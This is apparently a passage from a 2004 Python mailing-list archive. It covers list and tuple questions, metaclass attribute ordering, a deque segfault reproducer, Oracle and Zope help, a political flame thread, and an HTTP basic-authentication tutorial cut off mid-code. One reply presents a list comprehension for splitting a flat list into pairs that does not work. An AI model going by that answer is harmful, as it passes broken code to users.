idlelib.rpc.RPCProxy, but that's understandable. But shouldn't it support read()? And without termios (unavailable on Windows), how would I set the file to nonblocking read mode? PyWin32 doesn't seem to have any help, but I might just have missed it. I assume a programming language & system would have a pretty simple way to get input from the user! Thanks, Jeff PS: Python rocks. I've used it a lot, but so far only on UNIX, and generally for filters or web scripts -- haven't needed to ask any questions before. From lbates at syscononline.com Tue Sep 28 09:19:30 2004 From: lbates at syscononline.com (Larry Bates) Date: Tue, 28 Sep 2004 08:19:30 -0500 Subject: breaking up a list In-Reply-To: References: Message-ID: C Gillespie wrote: > Dear All, > > If I have a list, say > > x=[1,2,3,4,5,6] > > What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], > i.e. splitting it into pairs. > > Many thanks > > Colin > > I would use: pairs=[[a,b] for a,b in x] but as you can see from other replies there are other ways. Note: this wouldn't work if there were not an EVEN number of data items in the list. Larry Bates Syscon, Inc. From indigo at bitglue.com Tue Sep 21 08:06:46 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 21 Sep 2004 08:06:46 -0400 Subject: flat tuple In-Reply-To: <41501751$0$22757$db0fefd9@news.zen.co.uk> References: <41501751$0$22757$db0fefd9@news.zen.co.uk> Message-ID: <20040921120646.GA24449@unununium.org> Tuples can be joined with the + operator, like so: >>> (1,2)+(3,4) (1, 2, 3, 4) so in your case, you could do (n,) + t. If you are using the result for % formatting, it might be better to use a list, which is mutable, so it's possible to add a new element without constructing a new list, like so: >>> t = [1,2,3] >>> t.insert(0, 10) >>> t [10, 1, 2, 3] If you have many things to concatenate, you can use the builtin function reduce to do it, like so: >>> l = [[1,2,3],[4,5],[6]] >>> reduce(lambda a, b: a.extend(b) or a, l, []) [1, 2, 3, 4, 5, 6] On Tue, Sep 21, 2004 at 12:58:08PM +0100, Will McGugan wrote: > Hi, > > What is the simplest way of turning a single value and a tuple in to a > single 'flat' tuple? > > ie. > > t= ( 1, 2, 3 ) > n= 10 > > n, t gives me ( 10, ( 1, 2, 3 ) ) > > Fair enough, but I would like to get.. ( 10, 1, 2, 3 ) > > I would like to use the result to create a string with the % operator - > I was hoping there was some shorthand to produce ( n, t[0], t[1], t[2] ). > > Thanks, > > Will McGugan From ville at spammers.com Fri Sep 3 09:37:29 2004 From: ville at spammers.com (Ville Vainio) Date: 03 Sep 2004 16:37:29 +0300 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: >>>>> "John" == John Thingstad writes: John> lol.. oops. No Pauling was a nobel prize winning chemist. Speaking of which, why are we still waiting for Linus Torvalds' Nobel prize? I'm sure there are tons of less significant inventions/achievements that have won the prize. On related note, this thread is way off topic for most involved newsgroups, and doesn't show any signs of ending either (and yes, I wasn't helping ;-). -- Ville Vainio http://tinyurl.com/2prnb From aleaxit at yahoo.com Tue Sep 21 12:46:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 18:46:43 +0200 Subject: Python for Perl programmers? References: Message-ID: <1gkh756.1d3fyd47mcsjxN%aleaxit@yahoo.com> Chris S. wrote: ... > I've read that Ruby is actually more akin to Perl than Python. From a Knowing a lot of Python and a little Ruby, I concur with this assessment. > Ruby wiki, "[Matsumoto] chose the name to reflect the language's Perl > heritage". Granted, Python definitely deserves your attention, but if > you're a die-hard Perl user, you may also want to take a look at Ruby. You might want to take a look at Ruby anyway, particularly after a look at Python, because it's quite instructive to see what they do in similar ways, and what in very different ways. In the end, they reach essentially equivalent power by pretty different routes. Yes, Ruby does show some weird aspects of Perl heritage (the ability to use control characters as variable names, the fact that REs are mixed into the language rather than elegantly placed into their own module, etc, etc), but I think they are, mostly, rather minor things. I don't think any Perl programmer will choose a language based on whether or not they can use control-T as a variable name, or whether they have to 'import re' in modules that will use regular expressions, and the like. I have already mentioned this in the past, but, let me repeat, since I think the point is important...: my main reason for preferring Python _for production code_ is essentially that Python has a strong cultural bias towards uniformity, while Ruby shares Perl's cultural appreciation of diversity. I shudder at the thought of consulting for a project reveling in diversity, where each programmer does his or her own thing: that's quite the opposite of how I think a multi-person project should proceed, with egoless programming, no code ownership, and other such Extreme Programming values. (One technical aspect where Ruby shows its appreciation for "doing your own thing": you can alter the behavior of builtin objects, for example to ensure that strings will compare equal in a case-insensitive way; this may of course wreck havoc with libraries you may be using that do NOT aspect such alteration of a built-in type's behavior, but meanwhile you DO get to do your own thing to a much larger extent than in Python, where built-in types can't be changed this way). If you're just fooling around, or for somebody programming by himself without much need to communicate with others nor share code, I can well see that these pro-diversity biases and choices might well be a plus. I am more interested in large systems which do require teams of programmers, good communication, etc, so I stick with Python. But I also keep looking for a serious motivation to use Ruby "in production" in order to get better acquainted with it. Most important, to me, is that having both languages around afford maximal opportunity for each to follow a crucial precept: *to thine own self be true*. Misguided types who come to this group to whine and harangue against Python's _design principles_ (most often, ones connected to the cultural bias towards uniformity) should just move to Ruby and stop whining here -- they'd be happier, and so would we. If there are similar whiners on Ruby lists complaining about Ruby's embrace of vast diversity, they might, conversely, be happier with Python. Rather than trying to remove any real choice, by pushing every language towards being the same as each other, it's MUCH more clever to accept that each language (if well designed) stems from a certain set of design principles, and strive to recognize them: if you like the underlying principles, you may love the language, if it embodies them well; if you loathe the principles, use another language -- the better the language embodies those principles you loathe, the worse off you'll be in using that language!-). Python is quite up front about its design principles; just fire up any interactive Python interpreter and type at the prompt: >>> import this Alex From usenet_spam at janc.invalid Wed Sep 8 20:38:50 2004 From: usenet_spam at janc.invalid (JanC) Date: Thu, 09 Sep 2004 00:38:50 GMT Subject: Question: tools for business apps development References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> Message-ID: Ksenia Marasanova schreef: > One of possibilities is to use Flash (in a browser) for GUI. I am > thinking about using it for some project that also needs more > interactivity: Flash for frontend, Python for backend (Web service > using XMLRPC). You can do this with HTML+JavaScript too, no need for Flash... -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From onurb at xiludom.gro Mon Sep 20 18:10:34 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:10:34 +0200 Subject: How to go about developing in zope In-Reply-To: <4c900ea0.0409160754.2158e732@posting.google.com> References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <414f5700$0$287$626a14ce@news.free.fr> john a ?crit : > Hi > I am developing a timesheet system. > It will have 3 levels of access > 1)Administrator > 2)Approver -- Will approve or reject the timesheet filled by employees > 3)Employees -- Fill in the timesheet which will ontain info like start > time & end for task & task description. > There will be different projects with different employees & approvers > Also I need to genrate reports like timesheet for an employee for this > particular week or month.Or timesheet of a project etc.. What you need here is : - a good date and time lib - a good workflow management - users and roles management Zope provides all three. My best guess is that you should have a look on the last release of CPS (Collaborative Portal Server, a zope-based CMS/Groupware), it has a shared agenda module and probably most of what you need. > Is zope suitable for such kind of application? Guess... > I read the zope book & now I am more confused. > What is the best way to develop such kinda application in zope? Zope is somewhat hard to get started with... First do some pretty simple things, just to become familiar with the beast. Then learn how to write simple products. My 2 cents Bruno From aleaxit at yahoo.com Mon Sep 27 09:27:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 15:27:31 +0200 Subject: Metaclass with name overloading. References: Message-ID: <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > No, you can't, and it's not just a parser issue. Python uses direct C > calls to the native dict type. It's hard coded, and I don't see any > obvious or easy way to override it except by rewriting all such code. The STORE_NAME used within the code object to which the class body gets compiled is quite ready for a non-native-dict f_locals of the frame. The problem is how to get your own favourite object into that f_locals in the first place, and THAT one is hard -- can't think of any way... > The metaclass receives the dictionary after all declarations were > collected, and then it's too late to act upon it. Yep, far too late. You'd have to somehow tweak the CALL_FUNCTION bytecode that's compiled as part of the class statement, so that it makes a frame whose f_locals is some strange object of your choice. > Now that we're talking about it, I would like to discuss how this type > of hack could possibly be done in a future version of Python (probaly > Python 3.0, I don't think it's anywhere close to possible for Python > 2.x). I think it might be quite feasible in 2.5 (too late for 2.4). > 1) One such idea is to provide the metaclass with a __dict__ factory. If you go that route, then it may indeed require changes too deep for 2.5 or 2.anything. The metaclass gets determined later, at the time CALL_FUNCTION executes the metaclass ain't in play yet. > By using a user-defined dict, we would still use the default dict most > of the time without any noticeable performance hit, but would be able > to change the guts of the class declaration system whenever needed. Yeah, but if you make it a metaclass's job, then you're indeed asking for deep changes from today's architecture. > 2) Another (crazy) idea is to have the possibility to declare > anonymous class members, such as in: > > class MyClass: > """the first anonymous member is the doc string""" > """the second anonymous member is __anon__[0]""" > 1.5 # __anon__[1] = 1.5 > > By anonymous members, I mean anything that is not a def, a nested > class, or a value that wasn't assigned or bound to name. That's would > be nice to have too :-) Maybe, and maybe not, but it would not help in the least with dealing with two def's for the same name, as the OP wanted. One thing that might work: have a sys._set_locals_factory(...) which lets you change (maybe per-thread...?) how a frame's f_locals are made. Alex From greg.lindstrom at novasyshealth.com Tue Sep 28 12:19:00 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Tue, 28 Sep 2004 11:19:00 -0500 Subject: Oracle Access via cx_Oracle Message-ID: <019801c4a576$ddb3f960$054b12ac@D18SYX41> Hello - I am trying to connect to an Oracle database on an HP-9000 via Python 2.3 and cx_Oracle. I have set the following in my python routine: os.putenv('ORACLE_HOME', '/u01/app/oracle') os.putenv('ORA_NLS', '/u01/app/oracle/product/9.2.0/ocommon/nls/admin/data') os.putenv('ORACLE_TERM', 'xterm') os.putenv('ORACLE_SID', 'test1') os.putenv('ORACLE_DOC', '/u01/app/oracle/product/9.2.0/doc') and then myIP = "ww.xx.yy.zzz" myPort = nnnn myDsn = cx_Oracle.makedsn(myIP, myPort, 'test1') print partition oracle = cx_Oracle.connect(myUid, myPwd, myDsn) but am told File "g.py", line 16, in ? oracle = cx_Oracle.connect(myIP, myPwd, 'test1') RuntimeError: Unable to acquire Oracle environment handle can you see what I've done wrong? Thanks for your help, --greg Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - This email and any attachments to it are privileged and confidential and are intended solely for use of the individual or entity to which they are addressed. If the reader of this message is not the intended recipient, any use, distribution, or copying of this communication, or disclosure of all or any part of its content to any other person, is strictly prohibited. If you have received this communication in error, please notify the sender by replying to this message and destroy this message and delete any copies held in your electronic files. Thank you. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From alanmk at hotmail.com Wed Sep 1 10:20:20 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Wed, 01 Sep 2004 15:20:20 +0100 Subject: file access in jythonc In-Reply-To: <9eabe547.0409010600.4d566928@posting.google.com> References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> <9eabe547.0409010600.4d566928@posting.google.com> Message-ID: [John Howard] > So does that mean that a jre does not have to be on the local pc? No: there *must* be a JRE on the local PC: how could the java/jython run at all without an execution environment? The JRE on the local PC is the very thing that is preventing you from reading files from local drives. If you want to, you can permit any and all applet to load files from your local drive. In Internet Explorer, select "Tools->Options"->Security->Custom Level->Microsoft VM->Java Permissions->Custom->Java Custom Settings. In that control panel you can disable all of the protections that your browser puts in place to protect you from hostile applets on the Internet at large. Feel free to dismantle those security barriers, at your own risk: by doing so you're opening the contents of your hard-disk to the world. I Hope you're not storing any private or sensitive information on there. > The local pc does not have to set policies, etc. No, that's precisely where you set policies. Where else could they be set? Alternatively, as others have pointed out multiple times, you can digitally sign your applets so that they can be recognized and thus given more permissions than unknown applets. -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From steven.bethard at gmail.com Thu Sep 23 18:36:46 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 22:36:46 +0000 (UTC) Subject: spliting a list by nth items References: Message-ID: Raymond Hettinger writes: > The enumerate solution has a lot going for it. It is more flexible and > easily accomodates criteria other than every nth item. Yeah, I'm not so much worried about this, or I wouldn't be using items[start::n] to make the nth_items list in the first place. (If I was planning to allow for other criteria, I'd probably use filter or ifilter instead of the slicing...) > More importantly, it demonstrates an important guiding principle: multiple > list deletions are a code smell indicating that building a new list is a > better approach. This was kinda my feeling -- hence why I posted. Part of the problem for me was that because the two lists were so closely related semantically, I was looking for a syntax that was also closely related. Sometimes this is a good intuition to have, sometimes not. ;) > The runtime behavior of the non_nth_items[start::n] approach is > implementation dependent. Ahh, I didn't know that. Good thing to know... Thanks, Steve From pmaupin at speakeasy.net Wed Sep 29 22:42:26 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 29 Sep 2004 19:42:26 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <653b7547.0409281915.5ff0d92e@posting.google.com> Message-ID: <653b7547.0409291842.60baf330@posting.google.com> Christopher Barker wrote: > Patrick Maupin wrote: > > But, in Python, instances are "open". This means that I can add > > attributes to a class instance at _any_ time > > Just to make it really clear what Patrick is saying: ... (code excised here) > If you don't want a dynamic language, don't use Python! > > -Chris This is a great example, but just to make sure that no beginners are confused, I would like to point out that this example is of an actual class (rather than a class instance) being modified dynamically (when foo.r is assigned the value False), which was discussed in the original post, but not in the snippet above the example. Regards, Pat From carribeiro at gmail.com Wed Sep 22 13:36:16 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 14:36:16 -0300 Subject: An attempt to use a python-based mini declarative language for form definition Message-ID: <864d3709040922103690a00e@mail.gmail.com> I'm doing some experiments with mini declarative languages (as explained by David Mertz in http://www-106.ibm.com/developerworks/library/l-cpdec.html) in Python, with the intention to use it as the mechanism to define data entry forms. My final goal is to have a simple approach to automatic generation of visual interfaces. The complete framework is rather big, so let's us focus at this specific problem. -- I would like to describe my data entry forms with plain Python code. I don't want to use XML, dicts or other data-driven solution; not because I don't like it, not because I don't know about it, only because I want to try a different approach. -- This is a simple code snippet of the intended form declaration: class UserForm(Form): nickname = TextBox(length=15, default="") password = TextBox(length=10, default="", password=True) name = TextBox(length=40, default="") It's actually based to some extent on Ian Bicking's sqlobject library, that uses a similar approach to build entity definitions. But there's a catch: the class constructor receives a dict, and has no way to tell the original ordering of the attributes in the original class. The field names are passed in an arbitrary ordering, due to the use of the dict mapping. -- I've tried using metaclasses or other similar magic; I've read the tutorials, tried some code, and read sqlobject own implementation. This is not a problem for sqlobject, because the order of the columns in the database is totally isolated from the object representation. But in my case, it is a problem, because I need the fields to be in the correct order in the display. My question is, there is any way to retrieve the class attributes in the order they were declared? I could not find any; __setattr__ won't work because the dict is constructed using the native dict type before __new__ has a chance at it. Is there anything that I'm overlooking? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From curty at free.fr Mon Sep 13 10:30:02 2004 From: curty at free.fr (Curt) Date: 13 Sep 2004 14:30:02 GMT Subject: open and shut case References: <878ybfk3rf.fsf@pobox.com> <87oekb9pmr.fsf@pobox.com> Message-ID: On 2004-09-12, John J. Lee wrote: >> What the .... ??! Was that supposed to be funny? The smiley >> suggests you thought it was. It isn't. It's crude and rude. > Now *I'm* left thinking "What the.." . That went over my head... How > is it crude, or rude?? I didn't understand the ferocity of this reaction either nor could I imagine what impure thoughts he was imputing to your rather innocent brain. It was as if you had made some sort of snide, lasciviously abject remark for which you should justifiably be banned from decent society for the rest of your life. This inspired me to re-read what you had written in order to savor the utter degradation of your comment which had either passed over or under the sea level of my moral sensitivities. But whatever it was or was imagined to be, if anything, is beyond me. From ml at dynkin.com Thu Sep 30 13:55:01 2004 From: ml at dynkin.com (George Yoshida) Date: Fri, 01 Oct 2004 02:55:01 +0900 Subject: SegFault using deque in 2.4b3 In-Reply-To: References: Message-ID: Stefan Behnel wrote: > In Python 2.4b3, the deque is causing a segfault on two different > machines I tested on. > > With deque, my program runs fine for a while (at least some tens of > seconds up to minutes) and then suddenly segfaults. > > I'm sorry I can't tell exactly when, but I'm running an application that > uses a few hundred deques where elements are appendleft()ed and pop()ed > (simple queue). As the application is rather complex (and I didn't read > about this error before anywhere), I guess it could be quite a bit of > work for me to come up with a test case. > > Has anyone else observed this problem? With trials and errors, I could come up with a deque program which splits out a Segmentation Fault. (This program is attached at the end of this mail.) With this program, I get segfault one or two times out of three on average. It uses a poor programming style,like appending myself or creating unnecessary numbers of threads. Anyway it *does* generate segfault, so I hope that's OK. FYI, I've tested on: Python 2.4a3 (#1, Sep 24 2004, 22:35:05) [GCC 3.3.3 (SuSE Linux)] on linux2 On Win 2K(Python 2.4a3), it generates an Application Error. - George ## START OF PROGRAM import threading import random from collections import deque MAX = 10**5 class Deq(threading.Thread): def __init__(self, N): threading.Thread.__init__(self) self.d = deque() self.N = N def run(self): for i in xrange(self.N): n = random.random() if n < 0.5: self.d.appendleft(n) elif 0.80 < n: self.d.append(self) elif self.d: self.d.pop() else: print ".", def main(): for i in xrange(40): deq = Deq(random.randint(0, MAX)) deq.start() if __name__ == '__main__': main() ## END OF PROGRAM From grante at visi.com Thu Sep 30 11:55:09 2004 From: grante at visi.com (Grant Edwards) Date: 30 Sep 2004 15:55:09 GMT Subject: Python in Process Control? References: Message-ID: <415c2c5d$0$8144$a1866201@newsreader.visi.com> On 2004-09-30, Wolfgang Keller wrote: > is it that my know-how to use Google is insufficient or... > > ...does really noone use Python for industrial control applications? I do -- I use Python to do DeviceNet stuff. > At least I didn't manage to find any publicly available > modules for such things as OPC/fieldbus communication etc... I couldn't find any publically available DeviceNet modules for _any_ language. That doesn't mean nobody is writing programs that talk DeviceNet. ;) -- Grant Edwards grante Yow! I hope the at "Eurythmics" practice birth visi.com control... From iddw at hotmail.com Mon Sep 13 12:11:25 2004 From: iddw at hotmail.com (Dave Hansen) Date: Mon, 13 Sep 2004 16:11:25 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: <4145c639.358395718@News.individual.net> On 13 Sep 2004 09:39:00 +0300, Ville Vainio wrote: >I'll raise you a Hitler, in a (probably vain) attempt to invoke the >Godwin's law. Godwin's law does not say that when Hitler is invoked, the thread terminates. Rather it is an indicator the thread has lost all usefulness. If it ever had any. Regards, -=Dave -- Change is inevitable, progress is not. From joe at invalid.address Tue Sep 21 17:52:10 2004 From: joe at invalid.address (joe at invalid.address) Date: Tue, 21 Sep 2004 21:52:10 GMT Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <414F156C.7C28AEFB@yahoo.com> <41504292.C2BE622D@yahoo.com> Message-ID: CBFalconer writes: > Chuck Dillon wrote: > > CBFalconer wrote: > > > ... snip ... > >> > >> Then why does he ignore them, as evidenced by his non-response to > >> the July report on the future of Iraq, which was kept secret > >> until a few days ago? > > > > You have no basis from which to judge how or whether there was a > > response. Just because you're not in the loop doesn't mean there > > is no loop. > > On the contrary, I have a basis. GWB has continued to bray about > "staying the course" since the report was available to him. Out of curiosity, why is what GWB does count as braying? What is what Kerry says count as? Joe -- Always drink upstream from the herd. - Will Rogers From bvande at po-box.mcgill.ca Thu Sep 2 23:30:45 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Thu, 02 Sep 2004 23:30:45 -0400 Subject: explainations about standard library and modules in Python. In-Reply-To: References: Message-ID: <4137E565.8010805@po-box.mcgill.ca> Hung ho said unto the world upon 2004-09-02 14:44: > Hi. I just finished reading an introductory Python book called "Python > Programming for the absolute beginner" by Michael Dawson. I found it > very interesting, and easy to follow. Python does really look similar > to C/C++ and Java. In the book, the author imported other modules that > were from the standard library of Python. I tried reading some of the > modules in the standard library in Python's Lib folder. I'm just a > beginner to Python, and didn't understand anything in any of the > modules. My question is that, can anyone recommend me any book, or > online materials that could explain what the functions some of the > modules in the standard library can do that are packaged along with > Python v. 2.3.4?. For example, I read some modules such as os.py, > sys.py, and random.py The documents in those modules didn't help me to > comprehend what the purpose of the modules, and how to use them in > Python. What are their functions, and how do I use them. Thank You. Hi, I am a relative newcomer to Python and programming both. You've already been pointed to Python in a Nutshell. I'll add my voice to that. I'd also suggest The Python Standard library by Lundh. There is an O'Reilly dead-tree and a free version at . It is a bit out of date (IIRC it is geared to Python 2.0), but it has been helpful to me nevertheless. Between the docs, the Nutshell book and the Lundh, the helpful people on the tutor list have been spared many posts from me ;-) Best, Brian vdB From fuzzyman at gmail.com Fri Sep 17 08:27:57 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 17 Sep 2004 05:27:57 -0700 Subject: HTTP - basic authentication example. References: <6f402501.0409150737.1bfc6958@posting.google.com> <6f402501040916022738bd70b5@mail.gmail.com> Message-ID: <6f402501.0409170427.7c5ce24d@posting.google.com> """This example is now updated to show an example at the end that uses HTTPBasicAuthHandler *and* HTTPPasswordMgrWithDefaultRealm. This is probably the 'right' way to do it... but is more of a pain IMHO... (using a password manager either means *already* knowing the realm... or *never* knowing the realm..) """ #!/usr/bin/python -u # 16-09-04 # v1.0.0 # auth_example.py # A simple CGI script manually demonstrating basic authentication. # Copyright Michael Foord # Free to use, modify and relicense. # No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code.... # Use at your own risk !!! # E-mail or michael AT foord DOT me DOT uk # Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html """ There is a system for requiring a username/password before a client can visit a webpage. This is called authentication and is implemented by the server - it actually allows for a whole set of pages (called a realm) to be protected by authentication. This scheme (or schemes) are actually defined by the HTTP spec, and so whilst python supports authentication it doesn't document it very well. The HTTP documentation is in the form of RFCs (http://www.faqs.org/rfcs/rfc2617.html for basic and digest authentication) which are technical documents and so not the most readable !! When I searched the web for details on authentication with python I found lots of people asking questions, but a lack of clear answers. This document and example code shows how to manually do basic authentication with python. It is an example for performing a simple operation rather than a technical document. I am doing it manually rather than using an auth handler because my script is a CGI which runs once for each page access. I have to store the username/passwords between each access. A 'manual' explanation also shows more clearly what is happening. I've seen references to three authentication schemes, BASIC, NTLM and DIGEST. It's possible there are more - but BASIC authentication is overwhelmingly the most common. This tutorial/example only covers BASIC authentication although some of the details may be applicable to the other schemes. -- In all these examples we will be using the python standard library urllib2 to fetch web pages. A client is any program that makes requests over the internet. It could be a browser - or it could be a python program. When a client requests a web page it sends a request to the server. That request consists of headers with certain information about the request. Here we are calling these headers 'http request headers'. If the request fails to reach a server (the server name doesn't exist or there is no internet connection for example) then the request will just fail. If the request is made by python then an exception will be raised. This exception will have a 'reason' attribute that is a tuple describing the error. The next example shows us creating a urllib2 request object, adding a fake 'User-Agent' request header and making a request. The resulting error shows what happens if you try to fetch a webpage without an internet connection ! The User-Agent request header tells the server what program is asking for the web page - some sites (e.g. google) won't allow requests from anything other than a browser... so we might have to pretend to be a browser. (Which is generally considered bad client behaviour ? so I might get my knuckles rapped for including it here). >>> import urllib2 >>> req = urllib2.Request('http://www.google.co.uk') >>> req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)') >>> try: handle = urllib2.urlopen(req) except IOError, e: if hasattr(e, 'reason'): print 'Reason : ' print e.reason else: print handle.read() # if we had a connection this would print the page Reason : (7, 'getaddrinfo failed') >>> The actual exception is an URLError which is a subclass of IOError - the one tested for above in the try-except block. If you did a dir(e) in the above example then you would see all the attributes of the exception object. If however the request reaches a server then the server will send a response back. Whether or not the request succeeds the response will still contain headers from the server (or CGI script!!). These we call here 'http response headers'. If there is a problem then this response will include an error code that describes the problem. You will already be familiar with some of these codes - 404 : Page not found, 500 : Internal Server Error etc. If this happens an exception will still be raised by urllib2, but instead of a 'reason' attribute it will have a 'code' attribute. The code attribute is an integer that corresponds to the http error code. (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html for a *full* list of codes). If a page requires authentication then the error code is 401. Included in the response headers is a 'WWW-authenticate' header that tells you what authentication scheme the server is using for this page *and* also something called a realm. It is rarely just a single page that is protected by authentication but a section - a 'realm' of a website. The name of the realm is included in this header line. If the client *already knows* the username/password for this realm then it can encode them into the request headers and try again. If the username/password combination are correct, then the request will succeed as normal. If the client doesn't know the username/password it should ask the user. This means that if you enter a protected 'realm' the client effectively has to request each page twice. The first time it will get an error code and be told what realm it is attempting to access - the client can then get the right username/password for that realm (on that server) and repeat the request. HTTP is a 'stateless' protocol. This means that a server using basic authentication won't 'remember' you are logged in and will need to be sent the right header for every protected page you attempt to access. Suppose we attempt to fetch a webpage protected by basic authentication. >>> theurl = 'http://www.someserver.com/somepath/someprotectedpage.html' >>> try: handle = urllib2.urlopen(theurl) except IOError, e: if hasattr(e, 'code'): if e.code != 401: print 'We got another error' print e.code else: print e.headers print e.headers['www-authenticate'] # print e.headers.get('www-authenticate', '') might be a safer way of doing this Note the following things. We accessed the page directly from the url instead of creating a request object. If the exception has a 'code' attribute it also has an attribute called 'headers'. This is a dictionary like object with all the headers in - but you can also print it to display all the headers. See the last line that displays the 'www-authenticate' header line which ought to be present whenever you get a 401 error. Output from above example : WWW-Authenticate: Basic realm="cPanel" Connection: close Set-Cookie: cprelogin=no; path=/ Server: cpsrvd/9.4.2 Content-type: text/html Basic realm="cPanel" You can see the authentication scheme and the 'realm' part of the 'www-authenticate' header. Assuming you know the username and password you can then navigate around that website - whenever you get a 401 error with *the same realm* you can just encode the username/password into your request headers and your request should succeed. Lets assume you need to access pages which are all in the same realm. Assuming you have got the username and password from the user, you save the name of the realm from the first access. Then whenever you get a 401 error in the same realm (from the same server !) you know the username/password to use. So the only detail left, is knowing how to encode the username/password into the request header. This is done by encoding it as a base 64 string. It doesn't actually look like clear text - but it is only the most vaguest of 'encryption'. This means basic authentication is just that - basic. Anyone sniffing your traffic who sees an authentication request header will be able to extract your username and password from it. Many websites like yahoo or ebay, use javascript hashing/encryption and other tricks to authenticate a login. This is much harder to detect and mimic from python ! You may need to use a proxy client server and see what information your browser is actually sending to the website (See http://groups.google.co.uk/groups?hl=en&lr=&ie=UTF-8&threadm=6f402501.0409100632.47e403f3%40posting.google.com&rnum=2 for suggestions of several proxy servers that can do this). There is a very simple recipe on the Activestate Python Cookbook (It's actually in the comments of this page http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 ) showing how to encode a username/password into a request header. It looks like this : import base64 base64string = base64.encodestring('%s:%s' % (data['name'], data['pass']))[:-1] req.add_header("Authorization", "Basic %s" % base64string) Where req is our request object like in the first example. Let's wrap all this up with an example that shows accessing a page, doing the authentication and saving the realm. I use a regular expression to pull the scheme and realm out of the authentication response header. I use urlparse to get the server part of the url. If we store the username/password (or the whole request header line) then we can re-use that information automatically if we come across another page in that realm. When the code has run the contents of the page we've fetched is saved as a string in the variable 'thepage'. If you are writing an http client of any sort that has to deal with basic authentication then this example should have everything you need to know - but see the comment below about cookies. Some websites may also use cookies with authentication. Luckily there is a library that will allow you to have automatic cookie management without thinking about it. This is ClientCookie (http://wwwsearch.sourceforge.net/ClientCookie/ ). In python 2.4 it becomes part of the python standard library as clientcookie. See my cookbook example of how to use it (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/302930 ). I've done a bigger example that displays a lot of http information including cookies, headers, environment variables (the CGI environment) and all this authentication stuff. You can find it at http://www.voidspace.org.uk/atlantibots/recipebook.html#http - it's a CGI and there's an online version to try. It shows lot's of the information about http state, the CGI environment etc.. -- In actual fact the 'proper' way to do BASIC authentication with Python is to install an authentication handler as an 'opener' (along with a password manager) in urllib2. It doesn't show as clearly what is happening and is less suitable for my needs (within a CGI), where a pickled dictionary is more usefl. See at the bottom of this example for an alternative example using an auth handler - this was sent to me by Jaime Wyant (and amended by me).... """ import urllib2, sys, re, base64 from urlparse import urlparse theurl = 'http://www.someserver.com/somepath/somepage.html' # if you want to run this example you'll need to supply a protected page with your username and password username = 'johnny' password = 'XXXXXX' # a very bad password req = urllib2.Request(theurl) try: handle = urllib2.urlopen(req) except IOError, e: # here we are assuming we fail pass else: # If we don't fail then the page isn't protected print "This page isn't protected by authentication." sys.exit(1) if not hasattr(e, 'code') or e.code != 401: # we got an error - but not a 401 error print "This page isn't protected by authentication." print 'But we failed for another reason.' sys.exit(1) authline = e.headers.get('www-authenticate', '') # this gets the www-authenticat line from the headers - which has the authentication scheme and realm in it if not authline: print 'A 401 error without an authentication response header - very weird.' sys.exit(1) authobj = re.compile(r'''(?:\s*www-authenticate\s*:)?\s*(\w*)\s+realm=['"](\w+)['"]''', re.IGNORECASE) # this regular expression is used to extract scheme and realm matchobj = authobj.match(authline) if not matchobj: # if the authline isn't matched by the regular expression then something is wrong print 'The authentication line is badly formed.' sys.exit(1) scheme = matchobj.group(1) realm = matchobj.group(2) if scheme.lower() != 'basic': print 'This example only works with BASIC authentication.' sys.exit(1) base64string = base64.encodestring('%s:%s' % (username, password))[:-1] authheader = "Basic %s" % base64string req.add_header("Authorization", authheader) try: handle = urllib2.urlopen(req) except IOError, e: # here we 